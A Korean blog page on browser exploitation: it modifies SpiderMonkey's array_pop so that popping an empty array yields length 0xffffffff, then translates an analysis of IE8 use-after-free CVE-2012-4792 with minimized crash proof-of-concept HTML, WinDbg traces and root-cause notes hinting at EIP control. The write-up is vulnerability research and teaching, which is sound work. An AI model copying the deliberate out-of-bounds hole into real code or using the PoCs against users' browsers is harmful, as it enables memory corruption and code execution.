다음은 임의로 소스를 수정하여 특정 조건을 만족했을때 OOB 취약점을 가진 Array를 만드는 것이 목표입니다. Array에 관련된 코드는 대부분 “/mozjs-24.2.0/js/src/jsarray.cpp”에 존재합니다. 기존 Array에서는 pop할때 길이가 0이라면 아무 작업을 하지 않고 리턴합니다. 그러나 코드를 수정하여 길이가 0일때 pop하면 길이가 0xffffffff가 되어 OOB가 발생하도록 했습니다. jsarray.cpp에서 다음의 함수를 수정했습니다.

js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
    CallArgs args = CallArgsFromVp(argc, vp);

    /* Step 1. */
    RootedObject obj(cx, ToObject(cx, args.thisv()));
    if (!obj)
        return false;

    /* Steps 2-3. */
    uint32_t index;
    if (!GetLengthProperty(cx, obj, &index))
        return false;
    ----------------코드 수정 전-------------------------
    /* Steps 4-5. */
    if (index == 0) {
        /* Step 4b. */
        args.rval().setUndefined();
    } else {
        /* Step 5a. */
        index--;

        /* Step 5b, 5e. */
        JSBool hole;
        if (!GetElement(cx, obj, index, &hole, args.rval()))
            return false;

        /* Step 5c. */
        if (!hole && !DeletePropertyOrThrow(cx, obj, index))
            return false;
    }
    ----------------------------------------------------
    ----------------코드 수정 후-------------------------
        /* Step 5a. */
        index--;

        /* Step 5b, 5e. */
        JSBool hole;
        if (!GetElement(cx, obj, index, &hole, args.rval()))
            return false;

        /* Step 5c. */
        if (!hole && !DeletePropertyOrThrow(cx, obj, index))
            return false;
    ----------------------------------------------------

    // Keep dense initialized length optimal, if possible.  Note that this just
    // reflects the possible deletion above: in particular, it's okay to do
    // this even if the length is non-writable and SetLengthProperty throws.
    ----------------코드 수정 전-------------------------
    if (obj->isNative() && obj->getDenseInitializedLength() > index)
        obj->setDenseInitializedLength(index);
    ----------------------------------------------------
    ----------------코드 수정 후-------------------------
    if (obj->isNative() )
        obj->setDenseInitializedLength(index);
    ----------------------------------------------------

    /* Steps 4a, 5d. */
    return SetLengthProperty(cx, obj, index);
}

수정 후 build 폴더에서 make만 치면 수정된 파일만 다시 컴파일할 수 있습니다. 다음과 같이 test.js라는 테스트 스크립트를 통해 OOB가 발생하는지 확인합니다.

//test.js
a=[]
a.pop()
print('length:'+a.length)
for (var i=300; i<350; i++)
        print(a[i]);

js의 인자로 test.js를 넘겨준 후 실행시키면 다음과 같이 메모리 릭이 되는 것을 알 수 있습니다.

root@ubuntu:~/mozilla/build# ./js test.js
length:4294967295
6.923693930519e-310
8.289053e-317
6.9236938849808e-310
6.9236938849887e-310
6.92369388110297e-310
6.9236939312858e-310
2.130284842e-314
6.92369388498277e-310
6.92369388499067e-310
6.92369388111364e-310
6.9236939305206e-310
8.2890535e-317

Part-2 에서는 이 취약점에 대해 익스플로잇을 하는 법에 대해 배워보겠습니다.

브라우저 취약점 익스플로잇 Part-2

IE Garbage Collector UAF (CVE-2012-4792) 번역글

요즘 이미 나왔던 IE 제로데이에 대해 공부하고 있습니다. 그러던 도중 가비지 컬렉터에 의한 Use-After-Free 에 대해 궁금증이 생기게 됬는데, 준보형(passket)이 좋은 글을 추천해주셔서 이에 대해 포스팅을 할까 합니다. 영어실력은 별로 없는 편이니 오역이 있으면 댓글로 달아주시면 감사하겠습니다.

원본 링크는 아래와 같습니다.

 

하다보니 번역본이 있어서 참고했습니다. 비오비 2기였던 성원이의 글도 잘 되어 있네요.

http://research.hackerschool.org/bbs/data/free/CButton_Trans.txt

https://t1.daumcdn.net/cfile/tistory/22647036535A7ED209?download 

————————————————————————————————————————————

Microsoft를 비롯해서 몇몇 해커들이 블로그에 이번에 이슈가 된 CVE-2012-4792에 대해서 포스팅을 했습니다. 하지만 저도 빠질수 없죠. 최대한 제가 분석했던 모든 내용들을 순차적으로 담아내려 노력했으니 잘 읽어보시면 여러분도 똑같이 따라할 수 있을 겁니다. 모든 작업은 윈도우 xp의 IE8에서 이루어졌지만, ASLR을 빼고는 대부분이 윈도우 7에 적용되는 내용입니다. 저의 mshtml 버전은 8.0.6001.19393입니다.

첫 번째 작업은 metasploit  exploit에서 heapspray와 다른 잡다한 부분을 지워서 취약점을 발생시키는 가장 심플한 코드를 만드는 것이었습니다. 그 결과가 다음과 같습니다.

<!doctype html><html><head>                              function helloWorld() {                               var e0 = null;                               var e1 = null;                               var e2 = null;                                try {                                              e0 = document.getElementById(“a”);                                              e1 = document.getElementById(“b”);                                              e2 = document.createElement(“q”);                                              e1.applyElement(e2);                                              e1.appendChild(document.createElement(‘button’));                                              e1.applyElement(e0);                                              e2.outerText = “”;                                              e2.appendChild(document.createElement(‘body’));                               } catch(e) { }                               CollectGarbage();                               var eip = window;                               var data = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;                               eip.location = unescape(“AA” + data);               }                </head><body onload=”eval(helloWorld())”>               <form id=”a”>               </form>               <dfn id=”b”>               </dfn></body></html>
광고
 
이 광고 신고

다음은 Internet Explorer에 대해 Stack Trace와 pageheap을 켜고 이 POC코드를 실행시켜 어떤 일이 일어나는지 확인하는 것이었습니다.

그 결과가 다음과 같습니다.

  (a0.3c0): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202mshtml!CMarkup::OnLoadStatusDone+0x4ef:3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????1:022> !heap -p -a edi    address 05682fa8 found in    _DPH_HEAP_ROOT @ 151000    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)                                    5640eb0:          5682000             2000    7c91a1ba ntdll!RtlFreeHeap+0x000000f9    3d2b4b10 mshtml!CButton::`vector deleting destructor’+0x0000002f    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029    3cf7a976 mshtml!PlainRelease+0x00000025    3cf9709c mshtml!PlainTrackerRelease+0x00000014    3d7b5194 jscript!VAR::Clear+0x0000005c    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab    3d7b4d08 jscript!GcContext::CollectCore+0x00000113    3d82471d jscript!JsCollectGarbage+0x0000001d    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f    3d7c1113 jscript!CSession::Execute+0x00000175  1:022> kvChildEBP RetAddr  Args to Child              0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x470336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x120336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x1830336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x280336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])  

위의 실행에서 몇 가지 결론을 얻을 수 있습니다. 위의 내용에서 “mshtml!CButton::`vector deleting destructor’”를 보아 CButton이 free 되는 것을 알 수 있습니다. 그리고 onload 핸들러가 완전히 끝날 때 이 해제된 객체를 다시 사용합니다: mshtml!CMarkup::OnLoadStatusDone+0x4ef.

이것과 연관 있는 HTML 코드를 다시 봅시다.

e1.appendChild(document.createElement('button'));

이것이 나중에 free될 CButton 객체를 만드는 코드입니다. 객체가 언제 free되고 재사용되는지 찾아보도록 하겠습니다. 어떠한 일이 일어나는 시기를 알 수 있게 자바스크립트에 log messages를 넣었습니다. 그리고 또한 CButton 객체를 추가하고 삭제하는 곳에 두 개의 breakpoint를 걸어야 할 것입니다. CButton 객체를 만드는 것은 “CButton::CreateElement“ 을 통해 일어납니다.

만약 breakpoint를 HeapAlloc이 호출된 후에 걸게 되면 우리는 만들어진 CButton 객체의 주소를 알 수 있습니다. 우리는 이미 위의 windbg 로그에서 CButton 객체를 삭제하는 함수도 알고 있습니다. 따라서 그곳에도 브레이크를 걸어놓습니다.

코드들의 사이에 자바 스크립트 log message들을 추가합니다. 그러면 poc가 실행하는 동안 어떤 일이 어떤 순서로 일어나는지 알 수 있습니다.

    <!doctype html><html><head>                              function helloWorld() {                var e0 = null;                               var e1 = null;                               var e2 = null;                               try {                                              Math.atan2(0xbadc0de, "before get element a")                                              e0 = document.getElementById("a");                                              Math.atan2(0xbadc0de, "before get element b")                                              e1 = document.getElementById("b");                                              Math.atan2(0xbadc0de, "before create element q")                                              e2 = document.createElement("q");                                              Math.atan2(0xbadc0de, "before apply element e1(b) -> e2(q)")                                              e1.applyElement(e2);                                              Math.atan2(0xbadc0de, "before appendChild create element button")                                              e1.appendChild(document.createElement('button'));                                              Math.atan2(0xbadc0de, "before applyElement e1 -> e0")                                              e1.applyElement(e0);                                              Math.atan2(0xbadc0de, "before e2 outertext")                                              e2.outerText = "";                                              Math.atan2(0xbadc0de, "before e2 appendChild createElement body")                                              e2.appendChild(document.createElement('body'));                                              Math.atan2(0xbadc0de, "All done inside try loop")                               } catch(e) { }                               Math.atan2(0xbadc0de, "collecting garbage")                               CollectGarbage();                               Math.atan2(0xbadc0de, "Done collecting garbage")                }                </head><body onload="eval(helloWorld())">               <form id="a">               </form>               <dfn id="b">               </dfn></body></html>

그리고 poc 코드를 다시 실행합니다.

  (a0.3c0): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202mshtml!CMarkup::OnLoadStatusDone+0x4ef:3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????1:022> !heap -p -a edi    address 05682fa8 found in    _DPH_HEAP_ROOT @ 151000    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)                                    5640eb0:          5682000             2000    7c91a1ba ntdll!RtlFreeHeap+0x000000f9    3d2b4b10 mshtml!CButton::`vector deleting destructor’+0x0000002f    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029    3cf7a976 mshtml!PlainRelease+0x00000025    3cf9709c mshtml!PlainTrackerRelease+0x00000014    3d7b5194 jscript!VAR::Clear+0x0000005c    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab    3d7b4d08 jscript!GcContext::CollectCore+0x00000113    3d82471d jscript!JsCollectGarbage+0x0000001d    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f    3d7c1113 jscript!CSession::Execute+0x00000175  1:022> kvChildEBP RetAddr  Args to Child              0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x470336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x120336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x1830336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x280336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
광고
 
이 광고 신고

sxe ld:jscript를 해놨기 때문에 jscript.dll이 로드되면 breakpoint가 걸립니다. 그러면 Cbutton이 만들어지고 삭제되는 시기와 log message를 보기 위해 breakpoint를 걸면 됩니다(위의 windbg 참조). Cbutton 객체는 CollectGarbage가 호출되는 동안 삭제되지만 해당 call이 끝나기 전까지는 재사용되지 않습니다. 그래서 이 타이밍에 정확한 크기로 데이터를 할당한다면 프로그램의 흐름을 제어할 수 있습니다. 이 부분은 뒤에서 자세히 살펴보겠습니다.

다음 해야 할 일은 Use-After-Free가 왜 일어나는지 알아내야 합니다. Microsoft의 블로그에서 이 부분에 대해 상당한 힌트를 제공하고 있습니다. (http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx).

다시 크래시로 돌아가서 edi(free된 메모리를 가리키는) 가 어디서 오는지를 확인해 보겠습니다. (3d08625c 8b07      mov     eax,dword ptr [edi])

CElement::FindDefaultElem function에서 이미 free된 CButton element를 리턴하고 있었습니다. 마이크로소프트가 Fix it Shihm에서 이 함수를 패치하는 걸 봐서 우리가 제대로 분석하고 있다는 것을 알 수 있습니다. 이 함수는 프로세스가 크래시 나기 전에도 매우 많이 call 되므로 CMarkup::OnLoadStatusDone 에 브레이크 포인트를 거는 것이 좋습니다. 한 마디 더하자며 이 free된 객체를 통해 EIP를 컨트롤하는건 매우 쉽습니다. 해제된 객체의 vftable을 조작할 수 있고 그러면 이 vftable에서 메소드가 호출( (call dword ptr [eax+0DCh]))되기 때문입니다.

어쨌든 이제 CButton Create와 Delete하는 부분에 브레이크를 걸어놓고 windbg 로그를 볼 수있으므로 우리는 CButton object의 주소를 알 수 있습니다. 그리고 CElement::FindDefaultElem 함수를 호출하기 전에 CMarkup::OnLoadStatusDone 함수에도 브레이크를 걸었습니다.

  0:000> sxe ld:mshtml0:000> gModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"1:025> bp !mshtml + 0x442241:025> bl 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g" 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc1:025> gCreated CButton at 055eefa8Deleting CButton at 055eefa8Breakpoint 2 hit3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)1:025> t <snip> 3cf00585 56              push    esi3cf00586 8bc3            mov     eax,ebx3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)1:025> eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246mshtml!CElement::FindDefaultElem+0x51:3cf0058d 8bf0            mov     esi,eax3cf0058f 3bf2            cmp     esi,edx3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]1:025> 3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=000000003cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]1:025> eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246mshtml!CElement::FindDefaultElem+0x96:3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8 1:025> dc 04c1a6a804c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.<............04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L104c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'1:025> !heap -p -a 04c1a6a8    address 04c1a6a8 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 44cad98:          4c1a6a8              954 -          4c1a000             2000          mshtml!CDoc::`vftable'    7c919c0c ntdll!RtlAllocateHeap+0x00000e64    3ceb29f0 mshtml!CDoc::operator new+0x00000013    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c    78136247 urlmon!CBinding::CallOnProgress+0x00000030    7816180b urlmon!CBinding::InstantiateObject+0x000000b7 1:025> p3cf005a6 5e              pop     esi3cf005a7 5f              pop     edi3cf005a8 5b              pop     ebx3cf005a9 5d              pop     ebp3cf005aa c20c00          ret     0Ch

로그는 읽기 쉽게 조금 편집되었습니다. 이 로그로부터 얻을 수 있는 정보는 CButton이 이미 해제되었음에도 불구하고 Cbutton 객체는 여전히 CDoc element에서 사용되고 있다는 것입니다. poc를 다시 실행해보겠습니다. 이제 왜, 그리고 언제 이 해제된 reference가 남아있는지 알아보겠습니다. 이것을 위해 우리는 mshtml!CDoc::operator new 함수에 브레이크 포인트를 걸고 CDoc  Object+0x1A8에 브레이크를 걸어서 어떤 함수가 이 위치에 데이터를 쓰는지 알아봐야 합니다.

  Microsoft (R) Windows Debugger Version 6.12.0002.633 X86Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.htmlSymbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbolsExecutable search path is: ModLoad: 00400000 0049c000   iexplore.exeModLoad: 7c900000 7c9b2000   ntdll.dllModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dllModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dllModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dllModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dllModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dllModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dllModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dllModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dllModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dllModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dllModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dllModLoad: 78130000 78263000   C:\WINDOWS\system32\urlmon.dllModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll(8b0.770): Break instruction exception - code 80000003 (first chance)eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6feceip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!DbgBreakPoint:7c90120e cc              int     30:000> sxe ld:mshtml0:000> gSymbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbolsExecutable search path is: (4d8.398): Break instruction exception - code 80000003 (first chance)eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6feceip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!DbgBreakPoint:7c90120e cc              int     31:014> gModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dlleax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!KiFastSystemCallRet:7c90e514 c3              ret1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"1:023> bp !mshtml + 0x129f01:023> bl 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g" 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g" 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x131:023> sxe ld:jscript1:023> gBreakpoint 2 hiteax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202mshtml!CDoc::operator new+0x13:3ceb29f0 c3              ret1:023> ba w4 eax +  0x1A81:023> gModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dlleax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ntdll!KiFastSystemCallRet:7c90e514 c3              ret1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"1:023> gbefore get element abefore get element bbefore create element qbefore apply element e1(b) -> e2(q)before appendChild create element buttonCreated CButton at 055a2fa8Breakpoint 3 hiteax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202mshtml!CElement::SetDefaultElem+0x85:3d07da88 5e              pop     esi1:023> ubmshtml!CElement::SetDefaultElem+0x72:3d07da75 85c0            test    eax,eax3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)3d07da79 6a01            push    13d07da7b 8bc7            mov     eax,edi3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)3d07da82 85c0            test    eax,eax3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)3d07da86 893e            mov     dword ptr [esi],edi1:023> kvChildEBP RetAddr  Args to Child              0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x850336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f30336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd10336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x391:023> dc edi L58/4055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...<.........OZ.055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1055a2fa8  3cf70d10 mshtml!CButton::`vftable'

CElement::SetDefaultElem 함수가 main CDoc 객체에 reference를 추가하기 전에 AddRef 함수를 호출하는 것은 ‘잊은’ 듯 합니다. 이러한 객체는 다른 객체에 대한 레퍼런스를 제거함으로써 free될 수 있지만 여전히 CDoc 객체의 Default Element 레퍼런스를 통해서 여전히 접근이 가능합니다.

이제 우리는 PoC를 더 간단하게 만들 수 있습니다. 제가 이 작업을 한 후 BinVul.com blogpost를 보니 h4ckmp 님도 저와 거의 비슷한 방법으로 PoC를 간단하게 만들었습니다.

PoC를 읽으면서 Comment를 달아보겠습니다. 우리는 속이 빈 form element와 dfn element를 가진html document를 만듭니다. document가 load될 때 우리는 악성 코드를 실행합니다.

e0 = document.getElementById(“a”);
form object의 reference를 얻어옵니다.
e1= document.getElementById(“b”);
dfn object의 reference를 얻어옵니다.
e2=document.createElement(“q”);
“q” element를 만듭니다.
e1.applyElement(e2);
Q element를 DFN object의 부모로 만듭니다. DOM Tree는 Q->DFN 모양이 됩니다.
e1.appendChild(document.createElement(‘button’));
우리는 Button elment를 DFN Element에 자식으로 추가합니다. DOM Tree는 Q->DFN->BUTTON 처럼 됩니다.
e1.applyElement(e0);
Form 객체가 Q와 DFN의 사이에 들어가 DFN의 부모가 됩니다. DOM 트리는 최종적으로 Q->FORM->DFN->BUTTON이 됩니다
e2.outerText=””;
그리고 맨 위에 있던 e2 객체의 내용을 날림으로써 Q만 빼고 모든 객체를 releadse하도록 했습니다. CButton의 레퍼런스가 모두 사라졌습니다.
e2.appendChild(document.createElement(‘body’));
이 코드는 꼭 필요하진 않습니다. 하지만 use-after-free가 더 쉽게 trigger되도록 만들어줍니다. 그 이유를 알아내진 못했습니다.  

코드를 보니 조금 더 심플하게 PoC를 만 들 수 있을 것 같습니다. 아마도 DFN이나 Q 객체는 필요하지 않을 것입니다. Button을 document에 추가하고 Form 객체에 이 Button 객체를 할당하기만 해도 취약점을 일으키기에는 충분합니다.

이것을 테스트하기 위해 POC 코드를 만들었습니다.

  <!doctype html><html><head>                                              function helloWorld() {                                                             e_form = document.getElementById("formelm");                                                             e_div = document.getElementById("divelm");                                                             e_div.appendChild(document.createElement('button'))                                                              e_div.firstChild.applyElement(e_form);                                                             e_div.innerHTML = ""                                                             e_div.appendChild(document.createElement('body'));                                                             CollectGarbage();                                  }                </head>
 
<body onload="eval(helloWorld())">               <form id="formelm">               </form></body></html>  

역시나 결과가 동일하며 같은 문제를 유발합니다. 이것이 실행된 후에 windbg 결과입니다.

